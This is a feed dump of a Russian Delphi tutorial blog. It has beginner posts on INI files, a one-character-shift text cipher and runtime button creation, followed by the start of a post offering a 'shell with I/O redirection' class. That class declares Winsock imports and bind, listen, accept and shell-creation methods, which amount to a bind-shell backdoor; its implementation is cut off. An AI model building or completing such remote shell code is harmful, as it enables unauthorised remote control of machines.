<p>Когда мы закрываем программу, событие закрытия формы OnClose обработается и запишет текущие значения (высота, размер окна, и т.п.) в инициализационный файл с помощью методов класса  TIniFile :</p>
<p><span style="color:#ff0000;">WriteString()</span><br />
<span style="color:#ff0000;">WriteInteger()</span><br />
<span style="color:#ff0000;">WriteBool()</span></p>
<p>Мы их рассмотрели выше, в Write* все тоже,  что и в Read*, кроме последнего 3 аргумента, который записывает  .INI файл какое-то числовое значение.</p>
<blockquote><p><span style="color:#0000ff;">procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);</span><br />
<span style="color:#008000;">var</span><br />
IniSoub: TIniFile;<br />
<span style="color:#008000;">begin</span><br />
//создаем обьект класса TIniFile<br />
IniSoub := TIniFile.Create(ChangeFileExt(Application.ExeName, &#8216;.ini&#8217;));<br />
<span style="color:#008000;">try</span> // пытаемся записать данные в наш .INI файл<br />
IniSoub.WriteString(&#8216;Edit&#8217;, &#8216;Text&#8217;, Edit1.Text);<br />
IniSoub.WriteInteger(&#8216;Form&#8217;, &#8216;Top&#8217;, Top);<br />
IniSoub.WriteInteger(&#8216;Form&#8217;, &#8216;Left&#8217;, Left);<br />
IniSoub.WriteInteger(&#8216;Form&#8217;, &#8216;Height&#8217;, Height);<br />
IniSoub.WriteInteger(&#8216;Form&#8217;, &#8216;Width&#8217;, Width);<br />
IniSoub.WriteBool(&#8216;Form&#8217;, &#8216;Maximized&#8217;, WindowState = wsMaximized);<br />
<span style="color:#008000;">finally </span><br />
IniSoub.Free; // освободим память<br />
<span style="color:#008000;">end;<br />
end;</span></p></blockquote>
<p>Теперь скомпилируйте приложение и сохраните его куда-нибудь в папку или на рабочий стол.  Откройте его и попробуйте поменять, например, размер его окна, его расположение на вашем мониторе и нажмите кнопку ”Сохранить”. Теперь откройте его заново и можете убедиться, что размер окна, и  остальное что вы меняли, отображается с тем же размером. Все эти данные находятся в .INI файле, вы можете его открыть и отредактировать, поменяв тем самым какие-то значения, с которым приложение отобразиться, как вы его откроете.</p>
<p><strong>Вот его листинг</strong></p>
<blockquote>
<p style="text-align:left;">[Edit]</p>
<p style="text-align:left;">Text= Привет</p>
<p style="text-align:left;">[Form]</p>
<p style="text-align:left;">Top=100</p>
<p style="text-align:left;">Left=100</p>
<p style="text-align:left;">Height=200</p>
<p style="text-align:left;">Width=440</p>
</blockquote>
<p>Не забывайте при редактировании .INI файла вручную указывать имена секций в квадратные скобки  [….], а все остальные строки файла, должны иметь формат <em>&lt;переменная&gt;=&lt;значение&gt;</em></p>
<p>Если хотите предусмотреть возможность редактирования .INI файлов через саму программу, можно использовать компонент <strong>ValueListEditor</strong>, находящийся на вкладке <strong>Additional</strong>.</p>
<p>На сегодня урок закончен. Все вопросы можете задавать в комментариях, с удовольствием на них отвечу, и если что-то не понятно, всегда помогу вам разобраться!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/241/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=241&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2010/07/25/%d1%83%d1%80%d0%be%d0%ba-delphi-%e2%80%93-%d1%83%d1%87%d0%b8%d0%bc%d1%81%d1%8f-%d0%b8%d1%81%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d0%be%d0%b2%d0%b0%d1%82%d1%8c-ini-%d1%84%d0%b0%d0%b9%d0%bb%d1%8b-%d0%b2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>
	</item>
		<item>
		<title>Пишем алгоритм простого шифрования текста на Delphi</title>
		<link>http://devprog.wordpress.com/2010/07/21/%d0%bf%d0%b8%d1%88%d0%b5%d0%bc-%d0%b0%d0%bb%d0%b3%d0%be%d1%80%d0%b8%d1%82%d0%bc-%d0%bf%d1%80%d0%be%d1%81%d1%82%d0%be%d0%b3%d0%be-%d1%88%d0%b8%d1%84%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d1%8f/</link>
		<comments>http://devprog.wordpress.com/2010/07/21/%d0%bf%d0%b8%d1%88%d0%b5%d0%bc-%d0%b0%d0%bb%d0%b3%d0%be%d1%80%d0%b8%d1%82%d0%bc-%d0%bf%d1%80%d0%be%d1%81%d1%82%d0%be%d0%b3%d0%be-%d1%88%d0%b8%d1%84%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d1%8f/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 08:42:55 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[5минутные утилиты]]></category>
		<category><![CDATA[Delphi]]></category>
		<category><![CDATA[Новичку]]></category>
		<category><![CDATA[шифрование текста]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/?p=223</guid>
		<description><![CDATA[Всем привет :),  это моя первая тут публикация, с этого дня  я буду стараться писать для вас почаще и разнообразнее, затрагивая все интересные области как программирования так и многого другого , что думаю будет вам не менее интересно. Итак,  сегодня мы  напишем простое приложение реализующее алгоритм примитивного шифрования ввода текста на Delphi. Простое лишь потому [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=223&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Всем привет :),  это моя первая тут публикация, с этого дня  я буду стараться писать для вас почаще и разнообразнее, затрагивая все интересные области как программирования так и многого другого , что думаю будет вам не менее интересно. Итак,  сегодня мы  напишем простое приложение реализующее алгоритм примитивного шифрования ввода текста на <strong><span style="color:#008000;">Delphi</span></strong>. Простое лишь потому что, на его основе можно будет написать что-то уже более сложное, что можно будет использовать в наших программах, где шифрование может быть необходимо, например в анти-кейлогерах,  но и также  в icq клиентах,  различных интернет мессенджерах передающих текстовые сообщения.</p>
<p>Что собственно приложение будет делать? Оно будет шифровать текст, который вы будите набирать в поле ввода, моментально отображая этот текст в зашифрованном по заданному нами алгоритму виде, а так же расшифровывать его при нажатии на кнопку и обратно.</p>
<p>Шифровать будем элементарным алгоритмом. Каждый символ будет заменятся на следующий за ним в таблице <span style="color:#000000;"><strong>ASCII</strong></span> значений.</p>
<p>В дельфи выбираете следующие компоненты и перетаскиваете их на форму мышкой.</p>
<ol>
<li><span style="color:#000080;">Edit<br />
</span></li>
<li><span style="color:#000080;">Button</span></li>
<li><span style="color:#000080;">Label</span></li>
</ol>
<p>Нам потребуется, обрабатывать следующие события вышеперечисленных компонентов :</p>
<ul>
<li><span style="color:#ff0000;">Form1: OnCreate</span></li>
<li><span style="color:#ff0000;">Edit1: OnKeyPress</span></li>
<li><span style="color:#ff0000;">Button1: OnClick</span></li>
</ul>
<p>Немного расскажу о наших событиях. Когда вы нажимаете на символьной клавише на клавиатуре, генерируется событие OnKeyPress, и когда это событие произошло в атрибуты этого события заноситься ASCII-код символа  нажатой клавиши. И таким образом, если мы перехватим это событие, еще до его завершения, то мы сможем заменить и код символа этой клавиши на наш, который и отобразиться у нас в поле ввода.</p>
<p>Итак напишем код , для выполнения его  нашими обработчиками событий,  примерно вот что у нас должно получиться :</p>
<blockquote><p><span style="color:#0000ff;">procedure  TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);<br />
begin</span><br />
<span style="color:#008000;">//Заменяем перехваченный символ на следующий по порядку</span><br />
Key := Chr(Ord(Key) + 1)<br />
<span style="color:#0000ff;">end;</span></p>
<p><span style="color:#0000ff;">procedure TForm1.Button1Click( Sender: TObject);<br />
var</span><br />
Ret: AnsiString;<strong> </strong> <span style="color:#008000;">//Тип данных  &#8211; ANSI строка(массив символов)</span><br />
I: Integer;<strong> </strong> /<span style="color:#008000;">/ Тип данные &#8211; целые числа</span><br />
<span style="color:#0000ff;">begin</span><br />
<span style="color:#008000;">//копируем то что находиться в поле ввода во вспомогательную строку<br />
//и заменяем каждый символ в строке на предыдущий по таблице ASCII</span><br />
Ret := Edit1.Text;<br />
for I := 1 to Length(Ret) do<br />
Ret[I] := Chr(Ord(Ret[I]) &#8211; 1)<br />
<span style="color:#008000;">//копируем результат обратно в поле ввода по нажатию на кнопку</span><br />
Edit1.Text := Ret;<br />
<span style="color:#0000ff;">end;</span></p></blockquote>
<p><strong><span style="color:#0000ff;"> </span></strong></p>
<p><strong><span style="color:#0000ff;"> </span></strong></p>
<p>После чего скомпилируем нажав (Run<strong> <span style="color:#00ff00;">|&gt;</span></strong>) и можете протестировать :)</p>
<p>Если что-то не получается пишите  <span style="text-decoration:line-through;">в комментарии</span>, всегда буду рад вам помочь разобраться ! :)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/223/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/223/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/223/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/223/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/223/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/223/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/223/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/223/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/223/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/223/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/223/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/223/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/223/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/223/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=223&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2010/07/21/%d0%bf%d0%b8%d1%88%d0%b5%d0%bc-%d0%b0%d0%bb%d0%b3%d0%be%d1%80%d0%b8%d1%82%d0%bc-%d0%bf%d1%80%d0%be%d1%81%d1%82%d0%be%d0%b3%d0%be-%d1%88%d0%b8%d1%84%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d1%8f/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>
	</item>
		<item>
		<title>Узелок впрок! Динамическое создание визульных элементов</title>
		<link>http://devprog.wordpress.com/2010/01/13/%d1%83%d0%b7%d0%b5%d0%bb%d0%be%d0%ba-%d0%b2%d0%bf%d1%80%d0%be%d0%ba-%d0%b4%d0%b8%d0%bd%d0%b0%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b5-%d1%81%d0%be%d0%b7%d0%b4%d0%b0%d0%bd%d0%b8%d0%b5-%d0%b2/</link>
		<comments>http://devprog.wordpress.com/2010/01/13/%d1%83%d0%b7%d0%b5%d0%bb%d0%be%d0%ba-%d0%b2%d0%bf%d1%80%d0%be%d0%ba-%d0%b4%d0%b8%d0%bd%d0%b0%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b5-%d1%81%d0%be%d0%b7%d0%b4%d0%b0%d0%bd%d0%b8%d0%b5-%d0%b2/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 00:03:10 +0000</pubDate>
		<dc:creator>tevton</dc:creator>
				<category><![CDATA[Узелок впрок]]></category>
		<category><![CDATA[Delphi]]></category>
		<category><![CDATA[Компонент]]></category>
		<category><![CDATA[создание]]></category>
		<category><![CDATA[RunTime]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/?p=203</guid>
		<description><![CDATA[Это моя первая публикация, в данном блоге и блоге вообще. Поэтому прощу не закидывать помидорами не первой свежести) Данная тема, уже поднималась в данном блоге, о создании кнопки ToolBar. Я же хочу раскрыть ее с несколько другой стороны. Разберем, как происходит создание динамического элемента формы, на примере TButton. В нашем примере, кнопка будет существовать столько [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=203&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Это моя первая публикация, в данном блоге и блоге вообще. Поэтому прощу не закидывать помидорами не первой свежести)</p>
<p>Данная тема, уже поднималась в данном блоге, о создании кнопки ToolBar. Я же хочу раскрыть ее с несколько другой стороны.</p>
<p>Разберем, как происходит создание динамического элемента формы, на примере <strong>TButton</strong>.<br />
В нашем примере, кнопка будет существовать столько же, сколько существует форма. По большому счету мы сделаем тоже самое, что делает Delphi за нас, когда мы располагаем кнопку на форме в Design-time.<br />
В первую очередь нам нужно объявить модуль, в котором объявлен класс TButton в данном случае это <strong>StdCtrls</strong></p>
<blockquote><p><strong>uses</strong> Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs,<strong> StdCtrls</strong>;</p></blockquote>
<p>Теперь объявим переменную класса <strong>TButton</strong> и  процедуру обработки события OnClick, в секции <strong>private</strong> нашей формы:</p>
<blockquote><p>TfrmExample = <strong>class</strong>(TForm)<br />
<strong>procedure</strong> FormCreate(Sender: TObject);<br />
<strong>procedure</strong> FormDestroy(Sender: TObject);<br />
<strong>private</strong><br />
     btnExample: TButton;<br />
     <strong>procedure</strong> DobtnExampleClick(Sender: TObject);<br />
<strong>end;</strong></p></blockquote>
<p>Все подготовительные действия выполнены. Теперь приступаем непосредственно к созданию кнопки на форме.<br />
Для этого в обработчике события создания формы пишем следующий код:</p>
<blockquote><p><strong>procedure</strong> TfrmExample.FormCreate(Sender: TObject);<br />
<strong>begin</strong><br />
  btnExample := TButton.Create(Self); // создали непосредственно кнопку<br />
  // теперь начинаем проставляет ее свойства<br />
 <strong> with</strong> btnExample do<br />
 <strong> begin</strong><br />
    Caption := &#8216;Динамическая кнопка&#8217;;<br />
    Width := 150;<br />
    // Распологаем кнопку в середине формы<br />
    Left := Round((Self.Width / 2) &#8211; (Width / 2));<br />
    Top := Round((Self.Height / 2) &#8211; (Height / 2));<br />
    OnClick := DobtnExampleClick;<br />
    {Теперь очень важный момент. Чтобы элемент отображался, на другом элементе управления, будь то форма, панель, и т.д. нужно указать одно свойство}<br />
    Parent := Self;<br />
  <strong>end;</strong><br />
<strong>end</strong>;</p></blockquote>
<p>Осталось 2 дописать детали.<br />
Первая из которых это реализация процедуры обработки события <strong>OnClick</strong></p>
<blockquote><p>
<strong>procedure</strong> TfrmExample.DobtnExampleClick(Sender: TObject);<br />
<strong>begin</strong><br />
ShowMessage(‘http://www.devprog.wordpress.com‘);<br />
<strong>end;</strong></p></blockquote>
<p>И последняя, это очистка памяти(очень не рекомендую забывать, чистить память):</p>
<blockquote><p><strong>procedure</strong> TfrmExample.FormDestroy(Sender: TObject);<br />
<strong>begin</strong><br />
  btnExample.Free;<br />
<strong>end</strong>;</p></blockquote>
<p>Подводя итог, можно сказать, что таким образом можно создать любой визуальный компонент, и &laquo;положить&raquo; его на элементы формы, или саму форму.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/203/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/203/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/203/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/203/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/203/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/203/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/203/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/203/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/203/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/203/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/203/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/203/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/203/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/203/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=203&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2010/01/13/%d1%83%d0%b7%d0%b5%d0%bb%d0%be%d0%ba-%d0%b2%d0%bf%d1%80%d0%be%d0%ba-%d0%b4%d0%b8%d0%bd%d0%b0%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b5-%d1%81%d0%be%d0%b7%d0%b4%d0%b0%d0%bd%d0%b8%d0%b5-%d0%b2/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a898d1666e00f39f73ca7801fdef4abc?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">Tevton</media:title>
		</media:content>
	</item>
		<item>
		<title>Класс для открытия шелла с перенаправлением I/O</title>
		<link>http://devprog.wordpress.com/2009/05/22/%d0%ba%d0%bb%d0%b0%d1%81%d1%81-%d0%b4%d0%bb%d1%8f-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d0%b8%d1%8f-%d1%88%d0%b5%d0%bb%d0%bb%d0%b0-%d1%81-%d0%bf%d0%b5%d1%80%d0%b5%d0%bd%d0%b0%d0%bf%d1%80%d0%b0%d0%b2/</link>
		<comments>http://devprog.wordpress.com/2009/05/22/%d0%ba%d0%bb%d0%b0%d1%81%d1%81-%d0%b4%d0%bb%d1%8f-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d0%b8%d1%8f-%d1%88%d0%b5%d0%bb%d0%bb%d0%b0-%d1%81-%d0%bf%d0%b5%d1%80%d0%b5%d0%bd%d0%b0%d0%bf%d1%80%d0%b0%d0%b2/#comments</comments>
		<pubDate>Fri, 22 May 2009 13:33:52 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/2009/05/22/%d0%ba%d0%bb%d0%b0%d1%81%d1%81-%d0%b4%d0%bb%d1%8f-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d0%b8%d1%8f-%d1%88%d0%b5%d0%bb%d0%bb%d0%b0-%d1%81-%d0%bf%d0%b5%d1%80%d0%b5%d0%bd%d0%b0%d0%bf%d1%80%d0%b0%d0%b2/</guid>
		<description><![CDATA[Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу &#8211; мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете? unit xnShellWorks; interfaceuses Windows; const&#160; AF_INET&#160;&#160;&#160;&#160; = 2;&#160; PF_INET&#160;&#160;&#160;&#160; = AF_INET;&#160; SOCK_STREAM = 1;&#160; IPPROTO_TCP = 6;&#160; IPPROTO_PUP = 12;&#160; IPPROTO_UDP = [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=198&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу &ndash; мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете?</p>
<blockquote>
<p>unit xnShellWorks;</p>
<p>interface<br />uses Windows;</p>
<p>const<br />&nbsp; AF_INET&nbsp;&nbsp;&nbsp;&nbsp; = 2;<br />&nbsp; PF_INET&nbsp;&nbsp;&nbsp;&nbsp; = AF_INET;<br />&nbsp; SOCK_STREAM = 1;<br />&nbsp; IPPROTO_TCP = 6;<br />&nbsp; IPPROTO_PUP = 12;<br />&nbsp; IPPROTO_UDP = 17;<br />&nbsp; IPPROTO_IDP = 22;<br />&nbsp; IPPROTO_ND&nbsp; = 77;<br />&nbsp; IPPROTO_RAW = 255;<br />&nbsp; IPPROTO_MAX = 256;<br />&nbsp; START_PROCESS_INFO = STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;<br />&nbsp; null = nil;<br />&nbsp; INVALID_SOCKET = not 0;</p>
<p>//==============================================================================<br />// Структуры начало<br />//==============================================================================<br />type<br />&nbsp; S_UN_B = packed record<br />&nbsp;&nbsp;&nbsp; s_b1 : BYTE;<br />&nbsp;&nbsp;&nbsp; s_b2 : BYTE;<br />&nbsp;&nbsp;&nbsp; s_b3 : BYTE;<br />&nbsp;&nbsp;&nbsp; s_b4 : BYTE;<br />&nbsp; end;</p>
<p>&nbsp; S_UN_W = packed record<br />&nbsp;&nbsp;&nbsp; s_w1 : WORD;<br />&nbsp;&nbsp;&nbsp; s_w2 : WORD;<br />&nbsp; end;</p>
<p>&nbsp; T_ADDRESS_UNION = packed record<br />&nbsp;&nbsp;&nbsp; S_un_b : S_UN_B;<br />&nbsp;&nbsp;&nbsp; S_un_w : S_UN_W;<br />&nbsp;&nbsp;&nbsp; S_addr : DWORD;<br />&nbsp; end;</p>
<p>&nbsp; T_WSA_DATA = packed record<br />&nbsp;&nbsp;&nbsp; wVersion&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; Word;<br />&nbsp;&nbsp;&nbsp; wHighVersion&nbsp;&nbsp; :&nbsp;&nbsp; Word;<br />&nbsp;&nbsp;&nbsp; szDescription&nbsp; :&nbsp;&nbsp; array[0..256] of byte;<br />&nbsp;&nbsp;&nbsp; szSystemStatus :&nbsp;&nbsp; array[0..128] of byte;<br />&nbsp;&nbsp;&nbsp; iMaxSockets&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; Word;<br />&nbsp;&nbsp;&nbsp; iMaxUdpDg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; Word;<br />&nbsp;&nbsp;&nbsp; lpVendorInfo&nbsp;&nbsp; :&nbsp;&nbsp; Dword;<br />&nbsp; end;</p>
<p>&nbsp; Tin_addr = packed record<br />&nbsp;&nbsp;&nbsp; S_un&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; T_ADDRESS_UNION;<br />&nbsp; end;</p>
<p>&nbsp; TSockAddr_In = packed record<br />&nbsp;&nbsp;&nbsp; sin_family&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; Word;<br />&nbsp;&nbsp;&nbsp; sin_port&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; Word;<br />&nbsp;&nbsp;&nbsp; sin_addr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; Tin_addr;<br />&nbsp;&nbsp;&nbsp; sin_zero&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; array[0..13] of byte;<br />&nbsp; end;<br />//==============================================================================<br />// Структуры конец<br />//==============================================================================</p>
<p>type<br />&nbsp; xnShell = class (TObject)<br />&nbsp; public<br />&nbsp;&nbsp;&nbsp; constructor Create;<br />&nbsp;&nbsp;&nbsp; destructor Destroy; override;<br />&nbsp;&nbsp;&nbsp; procedure SetShellPort(PortNumber:SmallInt);<br />&nbsp;&nbsp;&nbsp; procedure BindShell(SockHandle:DWORD);<br />&nbsp;&nbsp;&nbsp; procedure ListenShell(SockHandle:DWORD);<br />&nbsp;&nbsp;&nbsp; procedure StartTelnetService(Flag:boolean);<br />&nbsp;&nbsp;&nbsp; function&nbsp; AcceptShell(SockHandle:DWORD):DWORD;<br />&nbsp;&nbsp;&nbsp; function&nbsp; CreateShell(ShellName:string;OutHandle:DWORD):BOOL;<br />&nbsp;&nbsp;&nbsp; function&nbsp; StartUp():DWORD;<br />&nbsp; private<br />&nbsp;&nbsp;&nbsp; FPort:WORD;<br />&nbsp;&nbsp;&nbsp; FSocket:DWORD;<br />&nbsp;&nbsp;&nbsp; WSAData:T_WSA_DATA;<br />&nbsp;&nbsp;&nbsp; FSockAddIn:TSockAddr_In;<br />&nbsp;&nbsp;&nbsp; st_info:TStartupInfo;<br />&nbsp;&nbsp;&nbsp; pt_info:TProcessInformation;</p>
<p>end;</p>
<p>//==============================================================================</p>
<p>function&nbsp; WSASocket(af,wType,Protocol:Integer;lpProtocolInfo:Pointer;g,dwFlags:Cardinal):Integer;stdcall; external &#8216;ws2_32.dll&#8217; name &#8216;WSASocketA&#8217;;<br />function&nbsp; htons(pt:DWORD):DWORD;stdcall;external &#8216;ws2_32.dll&#8217; name &#8216;htons&#8217;;<br />function&nbsp; accept(SockHandle:DWORD;pt:Pointer;sz:DWORD):DWORD;stdcall;external &#8216;ws2_32.dll&#8217; name &#8216;accept&#8217;;<br />procedure WSAStartup(wVersionRequired:Integer;lpWSADATA:Pointer);stdcall;external &#8216;ws2_32.dll&#8217; name &#8216;WSAStartup&#8217;;<br />procedure bind(SockHandle:DWORD;lpSIN:Pointer;SINSize:DWORD);stdcall;external &#8216;ws2_32.dll&#8217; name &#8216;bind&#8217;;<br />procedure listen(SockHandle:DWORD;Backlog:DWORD);stdcall;external &#8216;ws2_32.dll&#8217; name &#8216;listen&#8217;;</p>
<p>{==============================================================================}<br />implementation</p>
<p>{ xnShell }</p>
<p>//==============================================================================<br />// Constructor<br />//==============================================================================<br />constructor xnShell.Create;<br />begin<br />&nbsp; inherited Create;<br />&nbsp; FPort:=0;<br />end;</p>
<p>//==============================================================================<br />// Destructor<br />//==============================================================================<br />destructor xnShell.Destroy;<br />begin<br />&nbsp; ZeroMemory(@WSAData,SizeOf(WSAData)); // clean all str<br />&nbsp; ZeroMemory(@FSockAddin,SizeOf(WSAData));<br />&nbsp; inherited Destroy;<br />end;</p>
<p>{&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />&nbsp; Procedure: xnShell.SetShellPort<br />&nbsp; Author:&nbsp;&nbsp;&nbsp; Robo<br />&nbsp; DateTime:&nbsp; 2009.04.24<br />&nbsp; Arguments: PortNumber: SmallInt &#8211; номер открываемого порта<br />&nbsp; Result:&nbsp;&nbsp;&nbsp; None<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-}<br />procedure xnShell.SetShellPort(PortNumber: SmallInt);<br />begin<br />&nbsp; FPort:=PortNumber;<br />end;</p>
